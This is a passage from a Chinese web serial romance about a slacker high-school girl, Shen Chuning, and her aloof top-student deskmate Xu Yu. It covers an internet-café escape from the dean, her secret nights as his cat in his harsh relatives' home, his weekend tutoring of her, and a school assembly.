“哎呀,大人不记小人过。对面帮天天嘲讽我们弱,这不要是输了包丢人的。”
他竖起三只手发誓承诺,“赢了我给你一月的午饭。”
“一学期。”
“我靠,沈初柠你打劫?”
沈初柠抱胸,“一年。”
“要不要这么得寸进尺。”
沈初柠准备再开口报另一个数字,却被秦宋用手捂住嘴,眼看着我方旗帜血量越来越少,“行行行,我靠,我服了,快点快点,要输啦。”
沈初柠这才勉为其难,拿起鼠标操作。
血杀四方。
——
虽说秦宋这主义不靠谱吧,但是还别说他选的这家网吧确实不错。
大概老板高中受过某种劫难,特意把这网吧选在离学校近但比较偏僻,只要不特意来找,就不会被发现的地方。
是新开的网吧。装潢时尚,电脑的配置不错,i9-14900K配RTX4090,难怪秦宋爱来这打游戏。不过也可能是没手机玩。
沈初柠就说呢。他平时也不像是个爱学习的,怎么次次晚自习都报名,感情是不想回家无聊看书,偷跑这来打游戏。
不过后面几天沈初柠也很爱来也是了。
虽说她家里有电脑有手机的,但时不时被她爸看见不学无术,总归是有点不自在的。
而且撸狗还真的会撸上瘾。但凡谁看见一只软萌可欺,还让你玩各种cosplay的萨摩耶,都忍不住每天来揣揉的好吧。
过了一两天魂不守舍的这日子,虽然以前也差不多。到了每周必期待的周五。
一放学,沈初柠就和秦宋快速冲出教室。直奔网吧。
看得是讲台上连东西都没收拾好的物理不由老师咋舌,但凡沈初柠学习有这一半的劲,还用得着次次倒数?
把教材仪器搬回办公室。江涛看见他随口问了最近一班学生的状况。往年都基本没什么问题,今年可不同,来了个沈初柠。
江涛早有心理准备。让物理老师别给她太大压力,其他的,哎,江涛就说不出口了,实在是难办。
物理老师也理解。不太想继续刚刚的话题,实在是头疼。随口提及附近是不是新开了家网吧,上次无意中看见的。
约江涛一起去打游戏,电脑性能都不错,还不容易待家挨老婆骂。
他们在这边闲聊,沈初柠和秦宋倒是快吵起来。
沈初柠都快服了,“你刚刚那什么操作?你玩牛鬼闪现空大不是一次两次了吧,能不能好好练下操作,我次次给你找补。”
秦宋一听这话就不乐意了,“还不是你一直说开团开团,我一下子着急才失误的。能不能别瞎指挥,我自有我的节奏。”
沈初柠听着话更来气了,“现在还怪我了是吧?辅助不会玩就别玩了,老老实实玩个上单待塔里混着,或者你牛鬼带个治疗都比无效开团的有用。”
秦宋怒极:“你!”
沈初柠也回怼,“你什么你!”
奶糖看两人快打起来的架势,着急地在原地转圈圈。
“汪汪汪。”
别吵啦,别吵啦!
沈初柠被气饿了。等这把发完,怒而退出游戏,去前台点了份拉面加烤肠。
“Free”这家网吧布局错落有致,有专门给极i人设置的独立包厢,也有给预算不足的客人准备的散座区,位置紧凑但也并不挤,只是少了点私密性。
沈初柠本来是点完单就打算回去,后面会有工作人员专门给包厢里送去。
路过那些卡座的时候,她看到了一个极其熟悉的身影。
许屿。
他独自坐在一台显示器前,微弱的屏幕荧光映照着他清俊但此刻略显紧绷的侧脸。戴着网吧专门配备的耳机,似乎完全沉浸其中,修长的手指在机械键盘上快速敲击,发出清脆的声响。
沈初柠的心莫名一跳,他怎么会在这里?
这该是好学生来的地方?
万一被老班看见了,那可不得痛心疾首?
这个念头刚闪过,沈初柠就突然看见网吧门口,一个熟悉的中年身影正背着手,面色严肃地扫视着内部。
沈初柠:!!!
是教导主任!!!
沈初柠大脑一片空白,肾上腺素急剧飙升。
来不及多想,她的身体已经先于意识行动了起来。她一个箭步冲到许屿的卡座旁,在他转头看向她的瞬间,一把抓住了他的手腕!
许屿的手腕清瘦,线条清晰,能感觉到皮肤下微凸的腕骨和微微绷紧的肌腱,触感微凉。
“快走!老阎王来了!”
许屿显然没完全反应过来,眸中闪过一丝罕见的错愕,但身体已经被沈初柠巨大的拉扯力带得站了起来。
沈初柠脑中全是——
被老阎王抓到包要挨骂,写
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检讨,周一去主席台上念。
许屿怎么能写检讨!!!
关键检讨还一万字!!!
去主席台上出丑更不可能!!!
她几乎是使出了吃奶的力气,拉着许屿就往与大门相反的方向。
那是她早就规划好的路径,来得第一天就做好被抓的准备,找了个后门,随时方便逃跑。
许屿被她拽得一个踉跄,下意识地跟上她的步伐,穿过一排排闪烁着游戏画面的电脑。
心跳如擂鼓,在耳边咚咚作响。
沈初柠没时间思考其他,只一个劲地拽着许屿往出口走。像王子来拯救即将落难的公主。
许屿迟疑一瞬,到底没有挣脱开。而是任由沈初柠拉着,沉默地跟上她的步伐。
通道尽头是一扇虚掩着的门,推开后,月光的余晖从天上洒落下来。
原来网吧的后门,直接能通向隔壁小巷。
沈初柠这才松开手,扶着膝盖大口喘气。
惊魂未定之余,一丝后知后觉的尴尬涌了上来。
她刚才干了啥来着?
!!!
抓了许屿的手!!!
她偷偷抬眼去看许屿。
他站在墙角的阴影里,微微偏着头,正在整理刚才被她抓得有些褶皱的校服袖口。
月光勾勒出他清瘦的侧影,长长的睫毛垂着,看不清眼神。
巷子外传来小贩的叫卖声和车流声,远远近近,衬得这方寸之地格外安静。
过了几秒,也许更久,许屿才抬起眼。目光落在她因为奔跑而泛红的脸颊上,声音依旧平淡,听不出什么情绪:
“为什么拉我?”
刚刚头脑一热还觉得没什么,现在单独相处沈初柠就有点怂,她开口解释:
“我刚刚看见教导主任了来着。可凶了,被他抓到你在打游戏,后果非常严重的!”
许屿安静地听她说完,脸上没什么表情。
“我知道。”他语气平静。
“……啊?”
许屿扫过刚刚被她抓住的手腕,原先的浅色痕迹已经散去。
“我不在玩游戏。”
“……啊?”
不在玩游戏?
那在做什么?
难道是学习?
放在别人身上沈初柠不信,但许屿的话,一切皆有可能。
沈初柠抿抿唇。热意“轰”地一下涌上脸颊,比刚才奔跑时还要滚烫。
所以,许屿之前出现在那里根本不是违纪。而她,不仅打断了他的正事,还硬生生把人……给“救”了出来?
许屿看着沈初柠骤然呆住,脸颊以肉眼可见的速度涨得通红的模样。
他低头整理了一下被她拉皱的袖口,声音里听不出什么情绪:
“不过,还是谢了。”
这句道谢轻飘飘的,却像一根羽毛,在沈初柠混乱的心绪上又轻轻挠了一下。
“啊?哦哦哦。”她一个劲的点头,“没事没事。”
“明天早上之前把这学期教的所有内容大致温习一边,后面会有场测试给你摸摸底。”
“哦哦哦。”沈初柠继续点头,但点到一半,蓦地,她抬起头,“啊?”
“你爸给了我你家的住址。明天我九点钟会到你家给你补习。”
沈初柠才想起,她这几天似乎把这事给忘了。
沈初柠:……现在后悔还来得及吗?
12. chapter12
等回去后,沈初柠突然想起来似乎忘了什么。
比如,还在包厢里等她回去的狗狗男模……
再比如,还在包厢里一个人孤军奋战,然后也许现在已经被教导主任抓了个现行的秦宋。
秦宋挨了快一小时的训,看了周边几个南华学子,却独独没有沈初柠的身影。
还以为她被老阎王抽筋拔骨了,被记下名字之后赶忙给她发了个电话。
“我靠,老阎王来了,你没事吧?”
“没事啊。”
“行。那你赶紧找个地方躲起来,等老阎王走,我再通知你。”
沈初柠抿抿唇,突然胸口左处作痛,原来是良心在的地方。
她说:“行。”
秦宋:“欧克。”
但他很快察觉哪里不对劲,“你在哪里?怎么周围这么吵。”
是沈初柠旁边平板在播放动漫的声音。
沈初柠:“在家。”
对面沉默了好一瞬。
沈初柠心领神会地把手机离耳朵挪远了些,随即听见对面爆鸣。
“沈、初、柠!!!”
——
沈初柠也没想到这秦宋平时看着不靠谱,关键时候这么义气,还替她着想。
沈初柠好说歹说,以及提出不需要他帮买一学期的午饭,以此来抵过。秦宋才就此作罢,没有继续再追究。
陈姨丈夫现在身体好多了,记挂沈初柠一个人在家。毕竟沈天都周四的时候又飞国外出差。陈姨便让家里人照顾着,自己回去陪着沈初柠。
晚间陈姨做了点布丁当夜宵,给沈初柠送了过去。沈初柠对陈姨的提早回来并没有什么看法,天色渐晚,老人熬夜不好,就让陈姨早点去睡。
她突然又想到自己变猫的事,怕本体有什么异状吓着陈姨,就说最近很累,要是这几天门外喊不醒她,就不要喊了。
虽然这只是个假设。但就如沈初柠所说的那样,晚上她躺床上刷视频的时候,又变成了一只猫。
房间一片黑,可能是没窗的原因,连月光都透不进来。只有门缝那边,稍微渗进一下外面的灯光。
猫的夜视能力极强,沈初柠靠这一点微亮的光,就能差不多看见。几天没穿到小猫身上,许屿房间倒是大变了样。
原本就不算宽大的卧室,现在被几个猫猫用品一堆,更显小,不过摆放得井井有条。
沈初柠本来想跳到许屿床上继续睡大觉,但想到许屿似乎有一点洁癖,尤其是每次让猫上床全部要求她来洗澡。
她想想还是算了。正好许屿似乎给小狸花买了个窝,她跑那睡去。
不过还别说。
平时看着许屿冷冰冰的样,对这小狸花倒还不错。猫窝材质像是顶级的天鹅绒混着长毛羊羔绒,蓬松度和支撑力都恰到好处。
沈初柠甚至能闻到一股极淡的、属于高级织物的洁净香气,这品质与舒适度可比许屿那张床舒服多了。
她在上面眯了会,没多久就被外面动静吵醒。
似乎听见玄关处的门开。
李秀兰看见刚从外面回来的许屿,语气不善:“怎么这么晚才回来?”
许屿换鞋,“弄点东西。”
“饭可没给你留。”
许屿早就习以为常,往屋内走去。
开门开灯就对上趴猫窝上正瞧着他的沈初柠,他低头看了眼猫碗,里面的猫粮被吃得一干二净。
是晚上,到了小狸花的用餐时间。他先蹲下给猫碗里放满了粮。
随即李秀兰在门外哐哐敲门,让许屿去看徐格致学习。
许屿将书包放桌上去,后打开了门。
李秀兰看见他,语气又快又急,像连珠炮一样砸过来:“回来这么晚,我就不说你了。动作还这么磨蹭,格致马上就要中考,我看你这个当哥哥的完全不上心。”
“我昨天给他布置了一套试卷,让他今天写。”
李秀兰可不管他试卷不试卷的。对她来说,许屿晚回来一分钟,许格致就少学到一点。
她又提到,“还有你那个补习的家教也别去了,纯属浪费时间。你有这时间去,还不如让你表弟多提一两分。”
许屿正要推开徐格致房门的手,顿在了半空。
他缓缓转过身,他嘴角极轻微地扯动了一下,那弧度短暂得几乎让人以为是错觉,带着一种冰冷的嘲讽。
“我不补习,我大学学费你来交?”
这轻飘飘的几个字,猛地砸在了李秀兰的脸上。
她那张喋喋不休的嘴骤然停住,脸上的表情瞬间凝固,像是被人掐住了喉咙,张了张嘴,却没能立刻发出声音。
一种被戳破心事的窘迫和恼怒,迅速在她眼中蔓延开来。
“许屿我就问你是不是你白眼狼?!”
“这么多年吃我家的,喝我家的,让你辅导你堂弟做个作业,考个高中你就这么不愿意?!”
声音陡然拔高。
她往前逼近一步,手指几乎要戳到许屿的鼻梁上,胸口因愤怒剧烈起伏着,脸上是混合着失望与被冒犯的狰狞。
“要不是我们收留你,你早就不知道在哪个犄角旮旯里自生自灭了!现在翅膀硬了,会顶嘴了是吧?啊?!”
语气极其尖锐刺耳。连躲在房间里的沈初柠都感觉浑身的毛要炸起来。
许屿站在原地,没有后退,也没有激动。只是下颌线绷得紧紧的,抿直的唇线透出一种隐忍的苍白。
等到李秀兰的斥骂暂歇,喘着粗气瞪着他时,他才抬起眼。
那眼神里没有愤怒,没有委屈,只有一片深不见底的疲惫和冰凉。
正准备开口,隔壁门猛得被打开。
“吵什么吵?还让不让人做题了!”徐格致烦躁地抓着一头乱发。
他冲着两人吼道,“要吵滚出去吵!烦死了!”
他的目光在李秀兰和许屿之间扫过,最后恶狠狠地定格在许屿身上,语气充满了迁怒:“都怪你!滚!你也滚!”
说完,他“砰”地一声重重甩上了房门,从里面传来了清晰的落锁声。,
李秀兰被亲生儿子这么一吼,脸上青一阵白一阵,满腔的怒火仿佛被硬生生堵了回去,无处发泄。
她猛地转过头,将所有的不满和怨气都发泄在许屿身上,狠狠剜了他一眼。
电视的连续剧也不看了,回自己卧室摔门关上。
许屿独自站在原地,面对着两扇紧闭的房门。他沉默地站了一会儿,然后缓缓转过身,走回自己的房间。
沈初柠从小到大都没见过这种场景。
家里的亲戚长辈对她无疑都是对她很好的,尤其是爷爷奶奶,她要星星不给月亮的。
许屿没什么反应,回桌上翻了本
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高等数学教材看。
沈初柠轻盈地跳上书桌,在他摊开的书本旁安静地趴了下来。悄悄歪头看他有没有哭。
许屿发现她的小动作,冷淡地瞥她一眼。
沈初柠心虚眨眨眼。
哦。没哭。
不过表情看起来也不像开心的样子。
她小心翼翼地往前挪了挪,第一次将自己毛茸茸的脸颊,轻轻贴在了许屿握着笔的那只手臂上。
试图给他一点点安慰。
——
直至很久。
许屿垂下眼眸,视线从书页上移开,落在臂弯里这团温暖的小狸猫上。
沈初柠在旁边无所事事,又没手机好玩。只能和许屿一起看他那高等数学。
只是没看几行字,学渣的天性又唤醒了身体深处的睡意。不自觉就眯起眼睛,喉咙里发出属于小猫咪细微的呼噜声。
在她不知道的时候。
许屿放下笔,手掌轻轻落在了她的背脊上。带着些许迟疑,动作有些生硬,是第一次,温柔地、一下一下地顺着她的毛发。
——
沈初柠一觉睡到了天亮。不过不是自然醒,九点,陈姨敲门,说什么补习老师来啦,让沈初柠赶紧起床。
沈初柠:???
哪来的老师?
她就突然想起许屿昨天和她说的话。
沈初柠:……
!!!!!!
许屿让她做的是一件没干。
陈姨又在门口让沈初柠赶紧出来,让家教老师等着不好。
沈初柠只好风卷残云跑到卫生间,洗脸刷牙。
陈姨已经进到房内,见沈初柠去卫生间了,以为她要和以前一样躲在里面,不愿意出去上课。
“宁宁,不要不懂事。先生给你安排教师是为你好,赶紧出来”
沈初柠嘴里还含着泡沫,含糊地应了一声:“……知道啦陈姨!你先下去,我马上就下来。”
她加快速度,几乎是风卷残云般地完成手上的动作,又拿起梳子胡乱地梳了几下头发,将睡得有些翘起的发丝勉强压平。
门外,陈姨听着里面兵荒马乱的声音,无奈地叹了口气:“你这孩子……”
但客人在楼下,又不能不招待。
沈初柠听外面脚步声渐远,是下楼去了。
她刚走下楼梯,一眼就看见在客厅正中央站着的许屿。
他今天穿着一件干净的白t,身形挺拔。
“许老师,真不好意思啊。”陈姨脸上立刻堆起热情而又略带歉意的笑容,快步迎上前,“宁宁那孩子还在收拾,劳您稍等一会儿。”
她侧身,恭敬地将许屿引向沙发处:“您先请这边坐。”又去厨房处给他泡了杯茶。
许屿礼貌地回应:“谢谢。”
初次见面,总避免不了稍微打量一下。陈姨脸上的笑容客气而周全,心里却直打鼓。
这些年沈天都给沈初柠请的家教老师不少,德高望重的老教师有,上京大的高考状元也有,无一不是被沈初柠逼得自主请辞。
她看着许屿,长得的确是干净清爽,但看起来实在太年轻了,怕是比沈初柠也大不了两岁。
就不说能不能讲明白功课。
这么个半大孩子,能镇得住场子,唬住沈初柠好好听课?
别到时候被她欺负哭回去。
13. chapter13
陈姨心里正嘟囔着。
沈初柠到现在还没下来,反正她见家教老师闲着也是闲着,便直接问了:“许老师,您年纪多大啊?”
“十七。”
陈姨瞪大眼睛:“这不跟我家宁宁差不多大?”
她又问:“那您是跳级了吗?”
“没有。”
小学初中有学校这样建议过,不过李秀兰当时没准,想着许屿升太快,就少几年给徐格致补课的时间。
“您也高二?”
“嗯。”
陈姨想掐人中,让自己清醒一点。
先生是找不到人了吗,怎么请个这个年纪的家教老师。
虽这么想着,但面色不显,朝许屿友善地笑。
楼上传来脚步声,噼里啪啦的,很快就到了楼梯处。
许屿顺着声音朝那望去。
沈初柠急匆匆的往下走,是旋转式楼梯,路程就比较长。
陈姨见她这莽撞模样,赶紧小姑奶奶地叫着,让她别这么快,小心摔着。
沈初柠这才抬起头,和许屿目光撞着。才不会意思地放慢脚步,装出一点稳重。
其实光看她这睡裙就完全稳重不起来。沈初柠没来得及换。浅黄色的长款睡裙,过膝盖,露出白皙的小腿。帽子上垂着两只长长的兔子耳朵,随着她跑下来的动作一晃一晃。
沈初柠其实还有点睡眼惺忪,长发垂在身后,眼角还带着点没完全清醒的湿意,白皙的脸颊上被压出的几道浅浅的红痕。
许屿一看就知道估计她是刚从床上爬起来。
沈初柠跑下来,他就看着她头顶那一小撮不服帖地翘着的头发,随着她的动作一起晃动。
“许屿,你来得好早呀!”
“九点了。”
“……哦。”沈初柠想起昨晚他是和她说过时间。
完全忘掉了,连书都没看。
沈初柠心虚地把目光转向陈姨。
“陈姨,我早上想吃乌冬面。”
她又抬头问许屿,“许屿,你想要吃什么呀?”
“不用。”
“好!陈姨,两份乌冬面。”
沈初柠想都不用想,就许屿家里人对他这样,肯定是连早饭都不给准备的。或者准备了点,但肯定不好吃。
许屿正准备拒绝,手腕却被沈初柠一把攥住,她拉着他往楼梯处跑。
往后望向陈姨,“陈姨,等会送楼上来~不想走路啦。”
陈姨看他俩这样,心里叹口气。
一看这男孩子又要像别的家教老师那样,被沈初柠溜着玩。
估计这补习任务,悬哦。
不过还是点头,她朝沈初柠喊:“慢点哦,小祖宗。”
“知道啦!”
许屿就看着沈初柠拉着他跑。
目光不由自主,落在她握住他手之处。
——
其实陈姨的担心有些多余。
若是别人,那沈初柠肯定采取之前对其他补习老师像招数。
但对许屿……完全不敢耶。
好歹是同桌,万一把许屿惹生气了,那就完蛋了。
何况沈初柠始终牢记她的计划
——和许屿打好关系,到时候库库抄他作业,抄他默写,哼哼哼。还有和秦宋他们的赌约。
沈初柠势在必得。
许屿拿出几张试卷。
包含从高一到目前的所有知识点,以及各类学科,一份常规卷,一份提升卷。
让沈初柠写。
沈初柠眨眨眼睛,一时没缓过来。
“全……写奥?”
“今天把语数英写完。”
“要不少一点?我还有好多作业奥。”
许屿淡淡扫她一眼。
沈初柠正襟危坐,干笑几声,“也不是不行……”
“语文作文不用。”
沈初柠:“……”也行。
先甜后苦,沈初柠先把英语写了。
陈姨端着两碗面上来的时候,就看见她坐在玩偶坐垫奋笔疾书的样子。
还是有点吃惊,毕竟她真是看着沈初柠长大的,从沈初柠出生起就照顾她了。
从小到大,那些补习老师每一个管得了沈初柠,德高望重的老教师被她气得吹胡子瞪眼,年轻点的根本管不住,有些甚至被她带偏,一起玩起了游戏。
陈姨哪见过沈初柠规规矩矩写作业的模样。
心里不由对许屿肃然起敬。
这男娃子看着年纪小,管人倒是有一套手段,难怪先生邀请他过来。
这样想着,也更加对许屿看好了些。语气也更加客气。
她将乌冬面端到两人面前,分别给了碗筷。
沈初柠看见陈姨,简直就是解了个大放。饿的那叫个前胸贴后背。
她看许屿不动筷,极力夸赞:“陈姨做的面那叫个绝,简直就是天下第一,许屿你尝尝看。不然后悔一辈子!”
陈姨见她王婆卖瓜自卖自夸样,笑颜如花,“瞎说。”
不过年纪大,看得也多,知道许屿冷漠面容的背后其实是有点拘谨,“许老师尝尝看?或者少点醋还是酱油辣椒,我去给您拿?”
“不用。”许屿开口。
他的目光轻轻掠过陈姨慈祥含笑的脸,又落在旁边沈初柠那亮晶晶、写满期待的眼睛上。
她微微前倾着身子,像只等待投喂的小动物,仿佛他接下来说的每一个字都至关重要。
这样直白而纯粹的善意,像一道微光,穿透了他惯常的疏离。
许屿沉默片刻,随后,他抬起眼,看向陈姨,真诚道:
“谢谢。”
陈姨脸上的笑容更深了:“尝尝?不够的话锅里还有。”
沈初柠看见许屿第一次吃她给的东西,开心坐回玩偶坐垫上。
感觉革命正在无限推进,离终点更进一步。yes。
她同样和许屿吃着面,头顶那撮早上难以梳顺的呆毛,也随她动作高兴地微微晃动。
好心情也就持续一会。
因为沈初柠发现许屿这人油盐不进。
以为他一高兴可以给自己再少一张卷子,正当沈初柠开始得意忘形问许屿行不行时,被许屿淡淡的视线一扫,她又讪讪地缩了回去。
不过许屿倒没这么魔鬼级别。写完一张卷子给沈初柠十分钟休息,沈初柠才得以稍稍解脱。
拿了手机准备玩会,一看锁屏,全是来自秦宋的信息轰炸。
秦宋越想越不对劲。
秦宋:[话说你昨晚怎么躲得那么及时?据我所知,我们全校的人都被抓了]
秦宋:[严刑拷打jpg.沈初柠,怎么就你逃出来了,怎么做到的?]
沈初柠打字:[nonono除了我还有学神。]
秦宋当然知道沈初柠说的学神是谁。
秦宋:[?他也来打游戏?牛逼,老班知道估计要气死了。]
他又重新强调:[你们怎么做到神不知鬼不觉偷溜的?]
沈初柠:[我就拉着学神往后门跑,很快的,我买面的时候正好看见老阎王,就拉着他跑了]
秦宋:[???你拉着人许屿跑]
沈初柠:[对啊。]
秦宋:[那我呢???]
沈初柠:[……忘了]
对面发来长达60s的语音。
沈初柠摸摸鼻子,还挺心虚。正想着怎么开口和秦宋狡辩。
“时间到了。”许屿淡淡开口。
沈初柠立即放下手机。
大概是不小心刚刚把静音关掉了,手机不断弹出消息的同时,又发出嗡嗡的声响。<
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p>许屿扫了眼她手机屏上的名字。
秦宋。
伸手把手机静音。
——
补习两天,沈初柠那叫个度日如年,学校起码还有后桌陪她聊聊天,玩五子棋。在家只能在许屿眼皮子底下做作业。
一开始陈姨还是有些不放心,又是倒水上来,又是拿着下午茶。每次无一不是见到沈初柠老老实实安安分分地在那写试卷。
这下当真觉得沈天都这回没找错人,齐天大圣这下是能拴住她的师父了。
晚间她甚至还给沈天都打了个电话,夸新来的老师如何好,沈初柠这次怎么乖。沈天都在电话那头也乐呵,说回来给沈初柠带礼物。
周末两天,许屿饭都是在沈初柠家吃的。
沈天都知道沈初柠基础薄弱,之前就通知过许屿最好一天10小时都待在沈家,将课也好,看住沈初柠写作业也罢。他女儿他知道,没人管就尽情玩游戏。
午饭还好说,晚饭时刻许屿就告辞。
沈初柠那叫个眼疾手快,立马喊住许屿要不要先吃个晚饭再走。如若之前不知道许屿家的情况还好,现在变成小猫咪,昨天晚上还亲眼见到了他家里人不给他吃饭。
许屿开口拒绝。
但陈姨已然做好了三人份的,说是不吃也浪费,让许屿赶紧留下。对于长辈的要求,已经沈初柠看着他的那双亮晶晶的眼睛,许屿最后说了些“谢谢。”
陈姨笑着让他别这么客气,用公筷夹了糖醋排骨,让他多吃一点别客气。
她见许屿衣服虽然整洁,却掩不住布料本身的陈旧感。明明自己还是个孩子,却还要出来赚钱。
陈姨也是有孙子的,就难免不了对许屿多了点心疼。
又不由站起身给许屿盛了碗鱼汤,语气放得更柔和:“多吃点,正长身体呢。”
许屿垂下眼帘,“谢谢。”
——
没一会两天就这么过去,虽然完全不愿意,但周一还是要来。
往常沈初柠都是周六周日玩,然后周一凌晨开始狂补作业。最后发现补不完,根本补不完。周一早上就和各科课代表上演拉锯战。
今时不同往日。看着沈初柠作业交的如此之快,后桌方宽显得极其不可思议。
他看了眼沈初柠眼下缺失掉了往常的青黑,有些不可思议:“沈初柠,你被人魂穿了?”
沈初柠扬眉吐气,摆摆手指,“今时不同往日。”
“六六六。”
正说这话呢,沈初柠看见许屿背着书包从门口走进来。
沈初柠本来就是个自来熟的,虽然之前对许屿有点敬畏吧,但经过这两天相处,发现人家也不是全然冷漠的,就比如看到她考得物理卷,也会被无语到。
昨天许屿看她五十几分的卷子,开口:“当初怎么会想学物理?”
沈初柠这一届高考采取3+1+2模式。
这1就是历史和物理中选一个。
沈初柠回他:“历史背不下。”
“或许选历史会考的高一点。”
沈初柠摸摸鼻子,回避他的视线:“不想背……”
许屿:“……”
不过那是昨天发生的事。
许屿淡淡扫了眼与方宽聊的正欢的沈初柠,沉默地在她旁边坐下。
从书包里拿出上周不布置的作业。
沈初柠看许屿来了,赶紧从书包里拿出早上让陈姨做的超级无敌巨无霸饭团,再掏出一瓶草莓牛奶。移到许屿桌上。
许屿侧头看她。
后面的方宽看见沈初柠这样,倒是习以为常,这事沈初柠刚和许屿做同桌那时不是没干过,每次都是败兴而归。
他倒没想到沈初柠这次又要故技重施。
想来结果应该不会好,方宽等着沈初柠被拒绝,然后把东西分给他吃。
14. chapter14
沈初柠看见许屿眸光望向她,有些慌张解释:“陈姨让我给你的。”她补充,“还有这瓶草莓牛奶,超级好喝!”
说实话,以前许屿就没正眼看过沈初柠,要么不理,要么不理。沈初柠接受过他最长的注视还是昨天,她物理卷子考了50几的时候。
学神的脑袋怎么可能明白她这种学渣的痛苦,沈初柠当时很想只是回去的,但没敢。
当此刻她收获同款注视,她心领神会,以为许屿让她拿着她的东西走。
后面方宽听见沈初柠说什么最好喝的牛奶,“好你个沈初柠,这么好喝的牛奶你都没给过我!亏我还把你当做最好的前桌!”
夸张手滑,带点打闹的性质,并没有任何生气。
“哎呀。家里就剩了两瓶。哪有你的份。”
“你不讲义气,我可是每次都冒着生命危险,和你上课下五子棋的。”
沈初柠:“行吧行吧。”
她以为许屿又和往常一样不要这些,便伸出手准备把东西拿回来,不占他地方。
却听他突然说:
“谢谢。”
加上后桌两人,与沈初柠,他们三不可置信地看着许屿一步步将草莓牛奶的插进盒子里,然后递向唇旁。
方宽揉揉眼睛,他看了眼外面的太阳。是还在东边啊。
要知道,在以前,无论是沈初柠还是其他任何人,直接给许屿的东西他一向是不动的,提前遵循意见的话,他也会直接拒绝。
——
对话不了了之,因为中途江涛来了班里一趟。他将秦宋喊了出去,狠狠教训了一通。
——因为网吧事件。
也许他是有点气的。都高二了还这么玩物丧志,像什么样!
不过也有点表演性质,毕竟是一班嘛。南华实验班算是各年级的领头,不好好说一通秦宋,怎么给别的班做榜样。
周一升旗仪式和往常一样举行。
排队,升旗,听校长主席台演讲。
唯一差别就是仇校长下台后,年级教导主任上台,报了手上的名单。
高二一班秦宋。
高二三班纪票。
高二三班焦安志。
高二五班支高阳。
……
被报到的人出列。
一时前方乌压压的人。沈初柠才发现,原来他们学校这么多人去网吧玩了。
踮起脚偷偷瞄了眼站前面的许屿。
操场的清晨的阳光斜斜洒下,将他发梢染了层浅金。他身形挺拔如白杨。或许是阳光太过偏爱,他侧脸的线条显得格外清晰。
有微风吹过,拂动他额前细碎的黑发,露出清隽的眉眼。
他安静地站在队伍最前面,带着与周遭喧闹格格不入的沉静。却让人莫名觉得没有最初的冷漠。
还好上次拉着他跑了,万一许屿也被抓到了,那不就有损他在南华的威名。
唉。就是苦了秦宋,好歹当时给他发个信息来着……
沈初柠正想着。
不知道什么时候江涛来她身边。
他突然开口:“秦宋那个网吧你去了吗?”
沈初柠当然知道江涛说的是哪个网吧。
她眨眨眼,睁眼说瞎话:“没有呀,我最近都在家里写作业来着。”
江涛点点头,“那就行。不过那家网吧狗还挺可爱的。”
说道这特色男模了,沈初柠就不得不好好跟他夸夸了,“对呀对呀,奶糖可乖了。”
说完,她反应过来。
抿抿唇,没敢直接看江涛。只是用余光偷偷瞄了一下。
果然看到江涛似笑非笑地看着她。
沈初柠连忙收回视线。
沈初柠:“……”服了,死嘴。
不过事都过去了,沈初柠没被抓住算她运气好。江涛也懒得没事找事,让她放学前交一篇1000字检讨放他办公室。
沈初柠:“……”下次当个高冷的人。
战犯代表秦宋,正站主席台在读他的检讨。
一堆流水账文,但语气倒是辞卑情切。不过后面跟的那句“若是友人能提醒我一二,那我也不会站在这了。”
别的人可能是觉得秦宋说的是及时拉他迷途知返,沈初柠心里明白秦宋这是吐槽她不讲义气。
小肚鸡肠。
沈初柠吐槽着,却听身旁传来几声讥笑。
她循声望去,看见隔壁班几个男生正指着前方一个身影窃窃私语,脸上带着毫不掩饰的嘲弄。
那是个有点微胖的男生,可能是占地的问题,他头上盘旋着一小群的小蚊子。
那男生显然也察觉到了周围的异样和指指点点,他慌乱地抬手驱赶,可那些飞虫顽固地不肯散去。
他窘迫得耳根通红,脑袋越垂越低,几乎要缩进衣领里。
但身边人却没有想要帮忙的意思,站旁边只做个看客,甚至还在别人伤口上撒盐。
沈初柠皱了皱眉。
“笑什么笑啊?”她看向那群人,“很无聊吗?把这个当笑料?”
一旦有人站出来了,别人便不好意思再说话了。这些人大多数只是从众心理。
但也有脾气不好的,素质也低的。就比如一个男生对沈初柠,“我想笑就笑了,关你什么事?”
沈初柠平时人缘好,听别的班人这样说她,一班人就不乐意了。方宽看着就人高马大,看到自己的零食女神这样被人说,喊:“那我下课想揍就揍你了?行不行?”
那男生被堵着没话说,对沈初柠怒目而视。
比谁眼睛瞪得大?
沈初柠睁大眼睛,不落下风地回瞪回去。
“怎么了?”
一个清冷的声音插了进来。
许屿不知何时从前排走了过来。他目光平静地扫过那个怒目而视的男生,最后落在沈初柠身上。
那男生在许屿没什么情绪的目光下,气势不自觉地弱了几分。
许屿在年级里都算有名,成绩顶尖,性格冷淡,虽然从不惹事,但那种由内而外的疏离感反而让人不太敢轻易招惹。
沈初柠见到许屿,刚才那点“凶悍”瞬间消散,下意识就往他身边靠了一步,小声告状:“他刚刚扰乱纪律,声音超级大,还骂我。”
许屿的视线重新回到那男生脸上,没有说话,等着一个解释。
男生没有说话。
许屿看了眼他胸前的学生证,低头在纪律扣分本上划了个分数。
笔尖落在纸上,发出的细微沙沙声让男生明白许屿在做什么。
“凭什么只扣我的分?”他指向沈初柠,“她也说话了,你怎么不连她一起扣
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了?”
许屿合上扣分本,对上男生的视线。
“她是在回应你的挑衅,性质不同。”声音冷淡,“如果你对我的判定有异议,可以现在就去教务处找主任。”
“到底谁先挑衅的谁?”男生“靠”了声,到底是理亏或者其他,没再说话。
秦宋的几千字检讨念得很快,深刻反思后教导主任才让他下了台。继而批评了这些人几句后,其余人作警醒才让一干班级陆续退场。
不知道其他学校是不是这样的,反正南华班级退场,在操场范围内,是要队列整齐跑出去。
不过南华作为宜城top级高中,每年注资不少,是以这操场扩建的越来越大,光跑出去就怪累的。基本大多数学生就停在出口处,开始走路。
学生人数多,人挤人,沈初柠被裹挟着向前,肩膀不时与旁人碰撞。
前面前面几个岔路口都有拥堵,队伍停滞不前。她无聊地踮起脚尖往前看,也只看到黑压压的人头。
也巧,站她旁边的正好就是刚刚那个被嘲笑的男生。
他独自低着头,随着人潮慢慢挪动,与周围三三两两交谈的同学格格不入,背影显得格外落寞。
“喂,同学?你叫什么?”沈初柠就是这么自来熟。
那男生显然没预料到沈初柠会主动找他搭话,“啊?……我吗?”
“对呀。”
那男生有些局促。
“沈初柠!!!”后面秦宋突然喊她。像是有什么事。
语气之强烈,就像是她假装没听见,现在不过去找他,就要把之前的账一起算上。
“知道啦!”她摆手回应。
沈初柠回头看刚刚那男生一点,把自己的防蚊手环摘下送给他。
